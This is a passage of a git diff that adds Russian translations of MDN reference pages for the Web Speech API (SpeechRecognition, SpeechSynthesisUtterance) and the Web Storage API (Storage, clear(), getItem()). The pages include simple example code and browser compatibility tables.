+<p><font face="consolas, Liberation Mono, courier, monospace">Интерфейс<strong> Распознавание голоса</strong></font> <a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a> является интерфейсом контроллера для сервиса распознавания; который так же перехватывает событие {{domxref("SpeechRecognitionEvent")}}, отправленное сервисом распознавания.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition.SpeechRecognition()")}}</dt>
+ <dd>Создает новый <font face="consolas, Liberation Mono, courier, monospace">объект </font><code>SpeechRecognition</code> .</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em><code>SpeechRecognition</code> наследует свойства от своего родителського интерфейса, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition.grammars")}}</dt>
+ <dd>Возвращает и устанавливает коллекцию объектов {{domxref("SpeechGrammar")}}  грамматики которые будут понятны текущему <code>SpeechRecognition</code>.</dd>
+ <dt>{{domxref("SpeechRecognition.lang")}}</dt>
+ <dd>Задает и возвращает язык текущего <code>SpeechRecognition</code>. Если данное свойство не указано по умолчанию, то используется из HTML кода значение атрибута {{htmlattrxref("lang","html")}} , или настройки языка агента текущего пользователя.</dd>
+ <dt>{{domxref("SpeechRecognition.continuous")}}</dt>
+ <dd>Проверяет возвращается ли непрерывные результаты или вернулся только один. По-умолчанию для одиночного значение (<code>false</code>.)</dd>
+ <dt>{{domxref("SpeechRecognition.interimResults")}}</dt>
+ <dd>Контроллирует, следует ли возвращать промежуточные результаты (<code>true</code>) или нет (<code>false</code>.) Промежуточные результаты это результаты которые еще не завершены ( например {{domxref("SpeechRecognitionResult.isFinal")}} свойство <font face="consolas, Liberation Mono, courier, monospace">ложно</font>.)</dd>
+ <dt>{{domxref("SpeechRecognition.maxAlternatives")}}</dt>
+ <dd>Устанавливает максимальное количество предоставленных результатов {{domxref("SpeechRecognitionAlternative")}}. По-умолчанию значение 1.</dd>
+ <dt>{{domxref("SpeechRecognition.serviceURI")}}</dt>
+ <dd>Определяет местоположение службы распознавания речи, используемой текущим SpeechRecognition, для обработки фактического распознавания. По умолчанию используется речевая служба агента пользователя.</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition.onaudiostart")}}</dt>
+ <dd>Вызывается когда пользовательский агент начал захват аудио.</dd>
+ <dt>{{domxref("SpeechRecognition.onaudioend")}}</dt>
+ <dd>Вызывается когда пользовательский агент закончил захват аудио.</dd>
+ <dt>{{domxref("SpeechRecognition.onend")}}</dt>
+ <dd>Вызывается когда служба распознавания речи отключилилась.</dd>
+ <dt>{{domxref("SpeechRecognition.onerror")}}</dt>
+ <dd>Вызывается когда произошла ошибка распознавания речи.</dd>
+ <dt>{{domxref("SpeechRecognition.onnomatch")}}</dt>
+ <dd>Вызывается, когда служба распознавания речи возвращает окончательный результат без существенного распознавания. Это может включать определенную степень признания  {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} которая не соответствует пороговому значению или превышает его.</dd>
+ <dt>{{domxref("SpeechRecognition.onresult")}}</dt>
+ <dd>Вызывается когдавозвращает результат — слово или фраза были распознаны положительно, и это было передано обратно в приложение.</dd>
+ <dt>{{domxref("SpeechRecognition.onsoundstart")}}</dt>
+ <dd>Вызывается при любом звуке — рапозназнаваемая речь или нет — будеь обнаружено.</dd>
+ <dt>{{domxref("SpeechRecognition.onsoundend")}}</dt>
+ <dd>Вызывается когда  любой звук — распознаваемая речь или нет — перестала распознаваться.</dd>
+ <dt>{{domxref("SpeechRecognition.onspeechstart")}}</dt>
+ <dd>Вызывается, когда обнаружен звук, распознаваемый службой распознавания речи как речевой сигнал.</dd>
+ <dt>{{domxref("SpeechRecognition.onspeechend")}}</dt>
+ <dd>Вызывается, когда прекращается обнаружение речи, распознанной службой распознавания речи.</dd>
+ <dt>{{domxref("SpeechRecognition.onstart")}}</dt>
+ <dd>Вызывается, когда служба распознавания речи начинает прослушивать входящий звук с намерением распознать грамматики, связанные с текущим распознаванием речи.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em><font face="consolas, Liberation Mono, courier, monospace">Распознавание речи также наследует методы от своего родительского интерфейса</font>, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition.abort()")}}</dt>
+ <dd>Прекращает службу распознавания речи от прослушивания входящего аудио и не пытается вернуть {{domxref("SpeechRecognitionResult")}}.</dd>
+ <dt>{{domxref("SpeechRecognition.start()")}}</dt>
+ <dd>Запускает службу распознавания речи, прослушивая входящее аудио с целью распознавания грамматик, связанных с текущим распознаванием речи.</dd>
+ <dt>{{domxref("SpeechRecognition.stop()")}}</dt>
+ <dd>Прекращает службу распознавания речи от прослушивания входящего аудио и пытается вернуть{{domxref("SpeechRecognitionResult")}} Используя уже записанный звук.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В нашем простом примере <a href="https://github.com/mdn/web-speech-api/tree/master/speech-color-changer">Speech color changer</a> , мы создаем новый объект экземпляра <code>SpeechRecognition</code> используя этот конструктор {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} , создание нового  {{domxref("SpeechGrammarList")}}, И установить его в качестве грамматики, которая будет распознаваться экземпляром распознавание речи с использованием свойства {{domxref("SpeechRecognition.grammars")}}.</p>
+
+<p>После определения некоторых других значений мы затем устанавливаем их так, чтобы служба распознавания началась когда произошло собыстие по клику ( {{domxref("SpeechRecognition.start()")}}.) Когда результат был успешно распознан, the {{domxref("SpeechRecognition.onresult")}} обработчик извлекаем цвет, который был произнесен из события, а затем меняем цвет фона на данный цвет {{htmlelement("html")}}.</p>
+
+<pre class="brush: js">var grammar = '#JSGF V1.0; grammar colors; public &lt;color&gt; = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+//recognition.continuous = false;
+recognition.lang = 'en-US';
+recognition.interimResults = false;
+recognition.maxAlternatives = 1;
+
+var diagnostic = document.querySelector('.output');
+var bg = document.querySelector('html');
+
+document.body.onclick = function() {
+  recognition.start();
+  console.log('Ready to receive a color command.');
+}
+
+recognition.onresult = function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color;
+  bg.style.backgroundColor = color;
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Speech API', '#speechreco-section', 'SpeechRecognition')}}</td>
+   <td>{{Spec2('Web Speech API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>Таблица совместимостей</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>CompatChrome(33)}}property_prefix("webkit")<sup>[1]</sup></td>
+   <td>Не совместима<sup>[2]</sup></td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+  </tr>
+  <tr>
+   <td><code>постоянная</code></td>
+   <td>CompatChrome(33) <sup>[1]</sup></td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>Неизвестно</td>
+   <td>Неизвестная совместимая версия [1]</td>
+   <td>Совместим с GeckoMobile(44)</td>
+   <td>2.5</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+  </tr>
+  <tr>
+   <td><code>continuous</code></td>
+   <td>Неизвестно</td>
+   <td>Неизвестная совместимая версия[1]</td>
+   <td>Совместимость неизвестна</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>[1] Интерфейсы распознавания речи в настоящее время префиксные в Chrome, поэтому вам нужно указать имена интерфейсов, например, префикс. WebkitSpeechRecognition; Вы также должны будете обслуживать свой код через веб-сервер для распознавания работы</li>
+ <li>[2] Может быть активированна через <code>media.webspeech.recognition.enable</code> флаг в <a>about:config</a> на телефоне. Не реализовано вообще на рабочем столе Firefox - см.{{bug(1248897)}}.</li>
+</ul>
+
+<h3 id="Firefox_OS_разрешения">Firefox OS разрешения</h3>
+
+<p>Чтобы использовать распознавание речи в приложении, вам необходимо указать следующие разрешения в своем <a href="/en-US/docs/Web/Apps/Build/Manifest">manifest</a>:</p>
+
+<pre class="brush: json">"permissions": {
+  "audio-capture" : {
+    "description" : "Audio capture"
+  },
+  "speech-recognition" : {
+    "description" : "Speech recognition"
+  }
+}</pre>
+
+<p>Вам также нужно привилегированное приложение, поэтому вам необходимо также включить его:</p>
+
+<pre class="brush: json">  "type": "privileged"</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a></li>
+</ul>
diff --git a/files/ru/web/api/speechsynthesisutterance/index.html b/files/ru/web/api/speechsynthesisutterance/index.html
new file mode 100644
index 0000000000..94c0d175d6
--- /dev/null
+++ b/files/ru/web/api/speechsynthesisutterance/index.html
@@ -0,0 +1,120 @@
+---
+title: SpeechSynthesisUtterance
+slug: Web/API/SpeechSynthesisUtterance
+translation_of: Web/API/SpeechSynthesisUtterance
+---
+<p>{{APIRef("Web Speech API")}}{{SeeCompatTable}}</p>
+
+<p>The <strong><code>SpeechSynthesisUtterance</code></strong> interface of the <a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a> represents a speech request. It contains the content the speech service should read and information about how to read it (e.g. language, pitch and volume.)</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesisUtterance.SpeechSynthesisUtterance()")}}</dt>
+ <dd>Возвращает новый экземпляр объекта <code>SpeechSynthesisUtterance</code></dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em><code>SpeechSynthesisUtterance</code> еще наследует свойства из его своего родительского интерфейса {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesisUtterance.lang")}}</dt>
+ <dd>Получает и устанавливает язык высказывания.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.pitch")}}</dt>
+ <dd>Получает и устанавливает высоту, на которой произносится высказывание</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.rate")}}</dt>
+ <dd>Получает и устанавливает скорость, с которой будет произноситься высказывание.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.text")}}</dt>
+ <dd>Получает и устанавливает текст, который будет синтезироваться при произнесении высказывания.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.voice")}}</dt>
+ <dd>Получает и устанавливает голос, который будет использоваться для произнесения речи.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.volume")}}</dt>
+ <dd>Получает и устанавливает громкость, на котором будет произноситься высказывание.</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesisUtterance.onboundary")}}</dt>
+ <dd>Срабатывает, когда произнесенное высказывание достигает границы слова или предложения.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onend")}}</dt>
+ <dd>Срабатывает, когда произнесение произнесено.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onerror")}}</dt>
+ <dd>Срабатывает, когда возникает ошибка, которая препятствует успешному произнесению высказывания.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onmark")}}</dt>
+ <dd>Срабатывает, когда произнесенное высказывание достигает названного тега метки «SSML».</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onpause")}}</dt>
+ <dd>Срабатывает, когда высказывание приостановлено.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onresume")}}</dt>
+ <dd>Срабатывает, когда приостановленное высказывание возобновляется.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onstart")}}</dt>
+ <dd>Срабатывает, когда произнесение произнесено.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>В нашей базовой <a href="https://github.com/mdn/web-speech-api/tree/master/speak-easy-synthesis">Демо-версия синтезатора речи</a>, мы сначала получаем ссылку на контроллер SpeechSynthesis, используя <code>window.speechSynthesis</code>. После определения некоторых необходимых переменных мы получаем список доступных голосов, используя {{domxref("SpeechSynthesis.getVoices()")}}, и заполнить меню выбора с ними, чтобы пользователь мог выбрать, какой голос он хочет.</p>
+
+<p>Внутри обработчика <code>inputForm.onsubmit</code> мы останавливаем отправку формы с помощью <a href="/en-US/docs/Web/API/Event/preventDefault">preventDefault()</a>, используйте {{domxref("SpeechSynthesisUtterance.SpeechSynthesisUtterance()", "constructor")}} для создания нового экземпляра высказывания, содержащего текст из текста {{htmlelement("input")}}, установите {{domxref("SpeechSynthesisUtterance.voice","voice")}}на голос, выбранный в элементе {{htmlelement("select")}} и начните высказывание через {{domxref("SpeechSynthesis.speak()")}} метод.</p>
+
+<pre class="brush: js">var synth = window.speechSynthesis;
+
+var inputForm = document.querySelector('form');
+var inputTxt = document.querySelector('input');
+var voiceSelect = document.querySelector('select');
+
+var voices = synth.getVoices();
+
+for(i = 0; i &lt; voices.length ; i++) {
+  var option = document.createElement('option');
+  option.textContent = voices[i].name + ' (' + voices[i].lang + ')';
+  option.setAttribute('data-lang', voices[i].lang);
+  option.setAttribute('data-name', voices[i].name);
+  voiceSelect.appendChild(option);
+}
+
+inputForm.onsubmit = function(event) {
+  event.preventDefault();
+
+  var utterThis = new SpeechSynthesisUtterance(inputTxt.value);
+  var selectedOption = voiceSelect.selectedOptions[0].getAttribute('data-name');
+  for(i = 0; i &lt; voices.length ; i++) {
+    if(voices[i].name === selectedOption) {
+      utterThis.voice = voices[i];
+    }
+  }
+  synth.speak(utterThis);
+  inputTxt.blur();
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Speech API', '#utterance-attributes', 'SpeechSynthesisUtterance')}}</td>
+   <td>{{Spec2('Web Speech API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.SpeechSynthesisUtterance")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a></li>
+</ul>
diff --git a/files/ru/web/api/storage/clear/index.html b/files/ru/web/api/storage/clear/index.html
new file mode 100644
index 0000000000..ca829dae1b
--- /dev/null
+++ b/files/ru/web/api/storage/clear/index.html
@@ -0,0 +1,121 @@
+---
+title: Storage.clear()
+slug: Web/API/Storage/clear
+translation_of: Web/API/Storage/clear
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>Метод <code>clear()</code> интерфейса {{domxref("Storage")}} удалит все значения из хранилища.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js"><em>storage</em>.clear();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p><em>Метод не принимает параметры.</em></p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><em>Метод не возвращает значение.</em></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующая функция создает 3 записи в локальном хранилище, после этого все значения удаляются с помощью метода <code>clear()</code>.</p>
+
+<pre class="brush: js">function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+
+  localStorage.clear();
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Чтобы вживую посмотреть на работу функции, посетите страницу демонстрации <a href="https://github.com/mdn/web-storage-demo">Web Storage</a>.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-clear', 'clear()')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Начиная с версии iOS 5.1, Safari Mobile хранит данные <code>localStorage</code> в папке cache, которая периодически подлежит очистке по требованию ОС, как правило при недостаточном количестве свободного места.</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></p>
diff --git a/files/ru/web/api/storage/getitem/index.html b/files/ru/web/api/storage/getitem/index.html
new file mode 100644
index 0000000000..1780f54ec3
--- /dev/null
+++ b/files/ru/web/api/storage/getitem/index.html
@@ -0,0 +1,131 @@
+---
+title: Storage.getItem()
+slug: Web/API/Storage/getItem
+translation_of: Web/API/Storage/getItem
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>Если в метод <code>getItem()</code> интерфейса {{domxref("Storage")}} передать ключ в качестве параметра, то метод вернет значение, лежащее в хранилище по указанному ключу.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>aValue</em> = <em>storage</em>.getItem(<em>названиеКлюча</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace"><em>названиеКлюча</em></font></dt>
+ <dd>Является строкой {{domxref("DOMString")}}, содержащей название ключа, по которому получается значение из хранилища.</dd>
+</dl>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p>Является строкой {{domxref("DOMString")}}, содержащей значение для соответствующего ключа.  Если ключ не существует, то будет возвращено значение <code>null</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующая функция получает 3 значения из локального хранилища, после этого они используются для установки стилей на странице.</p>
+
+<pre class="brush: js">function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Чтобы вживую посмотреть на работу функции, посетите страницу демонстрации <a href="https://github.com/mdn/web-storage-demo">Web Storage</a>.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-getitem', 'getItem()')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Начиная с версии iOS 5.1, Safari Mobile хранит данные <code>localStorage</code> в папке cache, которая периодически подлежит очистке по требованию ОС, как правило при недостаточном количестве свободного места</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></p>
diff --git a/files/ru/web/api/storage/index.html b/files/ru/web/api/storage/index.html
new file mode 100644
index 0000000000..662d4c1057
--- /dev/null
+++ b/files/ru/web/api/storage/index.html
@@ -0,0 +1,164 @@
+---
+title: Storage
+slug: Web/API/Storage
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Storage
+  - Web Storage
+  - data
+translation_of: Web/API/Storage
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p><code>Интерфейс Storage</code> из Web Storage API предоставляет доступ для session storage или local storage для конкретного домена, позволяя вам к примеру добавлять, изменять или удалять сохранённые элементы данных.</p>
+
+<p>Если вы хотите управлять session storage для домена, вы вызываете {{domxref("Window.sessionStorage")}} метод; Если вы хотите управлять local storage домена, вы вызываете {{domxref("Window.localStorage")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Storage.length")}} {{readonlyInline}}</dt>
+ <dd>Возвращает число, представляющее количество элементов в объекте <code>Storage</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Storage.key()")}}</dt>
+ <dd>Приняв число n, метод вернёт имя n-ного ключа в Storage</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Storage.getItem()")}}</dt>
+ <dd>Приняв имя ключа, метод вернёт для него значение.</dd>
+ <dt>{{domxref("Storage.setItem()")}}</dt>
+ <dd>Приняв имя ключа и значение, метод добавит этот ключ в Storage или обновит его значение, если ключ уже существовал.</dd>
+ <dt>{{domxref("Storage.removeItem()")}}</dt>
+ <dd>Приняв имя ключа, метод удалит этот ключ из Storage</dd>
+ <dt>{{domxref("Storage.clear()")}}</dt>
+ <dd>При вызове метод удалит все ключи из Storage.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В данном примере мы получаем доступ к объекту Storage вызывая localStorage. Для начала мы проверяем содержит ли local storage элементы данных используя <code>!localStorage.getItem('bgcolor')</code>. Если да, мы вызываем функцию <code>setStyles()</code> которая получает элементы данных используя {{domxref("localStorage.getItem()")}} и использует их значения для обновления стилей на странице. Если нет, мы вызывает другую функцию, <code>populateStorage()</code>, которая использует {{domxref("localStorage.setItem()")}} что бы установить значения для элементов,  потом вызываем <code>setStyles()</code>.</p>
+
+<pre class="brush: js notranslate">if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+
+function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+
+  setStyles();
+}
+
+function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<div class="note">
+<p><strong>Важно</strong>: Если хотите увидеть данный пример в работе, посмотрите наше <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#the-storage-interface', 'Storage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Все браузеры имеют различную вместимость для localStorage и sessionStorage. Вот <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное сравнение всех storage для различных браузеров</a>.</p>
+
+<div class="note">
+<p><strong>Важно: </strong>Начиная с iOS 5.1, Safari Mobile хранит данные localStorage в папке кэша, которая является объектом для периодических чисток по желанию OS, в основном из-за нехватки памяти.</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Используя Web Storage API</a></p>
diff --git a/files/ru/web/api/storage/key/index.html b/files/ru/web/api/storage/key/index.html
new file mode 100644
index 0000000000..f8ff0d97b5
--- /dev/null
+++ b/files/ru/web/api/storage/key/index.html
@@ -0,0 +1,128 @@
+---
+title: Storage.key()
+slug: Web/API/Storage/key
